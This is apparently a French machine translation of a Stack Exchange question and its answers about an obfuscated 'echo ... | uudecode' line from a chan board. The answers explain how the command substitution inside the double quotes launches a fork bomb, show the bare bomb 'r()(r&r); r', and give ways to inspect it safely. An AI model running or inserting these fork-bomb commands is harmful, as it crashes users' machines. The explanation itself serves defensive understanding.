Comment et pourquoi cette chaîne de texte est-elle une fourchette?

132

Trouvé sur un tableau de chant aléatoire:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

En quelque sorte, cela aboutit à un processus de frai infini qui se généralise et bloque la machine. Je vois quelque chose à propos de "su" qui tente d'être exécuté à plusieurs reprises.

..qui est étrange, car je m'attendais simplement à ce que du texte soit généré, pas à l'exécution de quoi que ce soit.

L'exécution de ce texte via un décodeur en ligne me donne simplement un lot de données binaires:

résultat uudecode

Que fait réellement ce gâchis de texte et y a-t-il un moyen de le voir "en toute sécurité"?

Mikey TK
la source
Pourquoi "su" est-il exécuté de nombreuses fois?
Brent Washburne
34
Un conseil: ne lancez pas de code sur des forums de chan au hasard et soyez reconnaissant qu'il ne s'agit que d'une simple bombe.
rr-
21
Il h. Heureusement, j’étais sur un ordinateur virtuel fabriqué dans le but exprès de jouer avec des ordures potentiellement hostiles comme celle-ci.
Mikey TK
1
Vidar Holen, l'auteur de shellcheck.net, a écrit un article sur ce blog dans lequel il prétend être l'auteur de cette bombe fourchue et donne quelques informations de base.
Socowi le

Réponses:

194

Tout d’abord, regardons l’ensemble de la commande:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Il contient une chaîne entre guillemets qui est répercutée uudecode. Notez cependant que la chaîne entre guillemets contient une chaîne entre guillemets . Cette chaîne est exécutée . La chaîne est:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Si nous regardons ce qu'il y a dedans, nous voyons trois commandes:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Effectuer une expansion du support sur la commande du milieu, nous avons:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

La première ligne tente d'exécuter une commande absurde en arrière-plan. Ceci est sans importance.

La deuxième ligne est importante: elle définit une fonction rqui, une fois lancée, lance deux copies de elle-même. Bien entendu, chacun de ces exemplaires en lancerait deux autres. Etc.

La troisième ligne est lancée ret démarre à la bombe.

Le reste du code, en dehors de la chaîne citée en arrière, est tout simplement absurde pour l'obscurcissement.

Comment exécuter la commande en toute sécurité

Ce code peut être exécuté en toute sécurité si nous fixons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec la FUNCNESTvariable de bash . Ici, nous le configurons 2et cela arrête la récursivité:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Les messages d'erreur ci - dessus montrent que (a) les commandes de non - sens rYWdlet Y29jne sont pas trouvés, (b) la bombe fourche se fait à plusieurs reprises arrêté par FUNCNEST, et (c) la sortie echone commence pas par beginet, par conséquent, ne sont pas entrées valide pour uudecode.

La fourche bombe dans sa forme la plus simple

À quoi ressemblerait la bombe à fourche si on enlevait l'obscurcissement? Comme le suggèrent njzk2 et gerrit, cela ressemblerait à ceci:

echo "`r()(r&r);r`"

Nous pouvons simplifier encore plus:

r()(r&r); r

Cela consiste en deux déclarations: l'une définit la fonction fork-bomb ret la seconde fonctionne r.

Tous les autres codes, y compris le pipe to uudecode, étaient là uniquement pour obscurcir et détourner.

La forme originale avait encore une autre couche d'erreur

Le PO a fourni un lien vers la discussion du conseil de la chaîne sur laquelle ce code est apparu. Tel que présenté ici, le code ressemblait à:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Notez l'un des premiers commentaires sur ce code:

J'ai craqué pour ça. Copié uniquement la partie qui fait écho et décode, mais toujours avec forkbombed

Sous la forme sur le tableau de bord, on pourrait penser naïvement que le problème serait la evaldéclaration opérant sur la sortie de uudecode. Cela laisserait penser que evalle fait de le résoudre résoudrait le problème. Comme nous l'avons vu plus haut, c'est faux et dangereusement.

John1024
la source
6
Sournois! Je n'ai jamais pensé à envisager l'éclaboussure / expansion de shell au milieu de la chaîne en écho.
Mikey TK
31
Je pense qu'il serait bon de noter que cela uudecoden'a aucune pertinence ici. Pendant un moment, je pensais uudecodeeffectuer une interpolation de chaîne à l'envers, ce qui la rendrait fondamentalement dangereuse, mais la bombe a lieu avant qu'uudecode ne commence.
gerrit
28
... et ceci , mesdames et messieurs, est la raison pour laquelle la sécurité dans les scripts shell est si difficile. Même des choses totalement inoffensives peuvent vous tuer. (Imaginez s'il s'agissait d'une entrée utilisateur de quelque part ...)
MathematicalOrchid
22
@MathematicalOrchid Il faut en effet un effort non trivial pour que les éléments mémorisés dans l'entrée utilisateur d'un script shell soient exécutés. Et si vous construisez un script shell à partir d'une entrée utilisateur, vous devez savoir qu'il ne faut pas le mettre entre guillemets.
Random832
5
@ njzk2 Vous avez encore besoin d' un &là - bas: echo "`r()(r&r);r`".
gerrit
10

Pour répondre à la deuxième partie de votre question:

... y a-t-il un moyen de le voir "en toute sécurité"?

Pour désamorcer cette chaîne, remplacez les guillemets externes par des guillemets simples et échappez-les aux guillemets simples présents dans la chaîne. De cette façon, le shell n'exécutera aucun code et vous passerez tout directement à uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

D'autres alternatives sont notées dans les commentaires:

kasperd a suggéré :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall a suggéré d'utiliser un éditeur de texte, de coller le contenu, puis de transférer ce fichier à uudecode.

gerrit
la source
5
Alternativement: Tapez uudecodesur la ligne de commande. Appuyez sur Entrée. Copiez-collez la chaîne à décoder.
Kasperd
3
Une autre alternative: utilisez un éditeur de texte pour enregistrer le contenu dans un fichier. Ouvrez ce fichier avec uudecode.
Jacob Krall
Merci aux deux, j'ai noté ces alternatives dans la réponse.
gerrit
1
Assurez-vous de vérifier que la chaîne ne ressemble pas à la echo "foo`die`bar'`die`'baz"première! C'est-à-dire que s'il contient des 'lettres, remplacer les guillemets par des guillemets simples ne sera pas suffisant.
wchargin
5

À première vue, vous pourriez penser que la sortie dans le shell ne sera jamais exécutée . C'est toujours vrai . Le problème est déjà dans l' entrée . L'astuce principale ici est ce que les programmeurs appellent la priorité des opérateurs . Voici l'ordre dans lequel le shell tente de traiter votre entrée:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Composez la chaîne en exécutant toutes les commandes backticks qu'il contient.
  2. Habituellement, une commande inconnue, qui provoquerait une sortie telle que 'rYWdl' n'est pas une faute de frappe, vous pouvez utiliser command-not-found pour rechercher le paquet qui le contient… (dépend du système)
  3. Exécute 2. en arrière-plan. Vous ne verrez jamais une sortie.
  4. Définir la fonction de bombe à la fourche.
  5. Séparateur de commandes.
  6. Exécutez la bombe à la fourche.
  7. Insère le résultat de 6. dans la chaîne. (Nous ne venons jamais ici.)

L'erreur est de penser que ce echoserait la première commande à exécuter, uudecodela seconde. Les deux ne seront jamais atteints.

Conclusion: les doubles guillemets sont toujours dangereux sur la coque.

Matthias Ronge
la source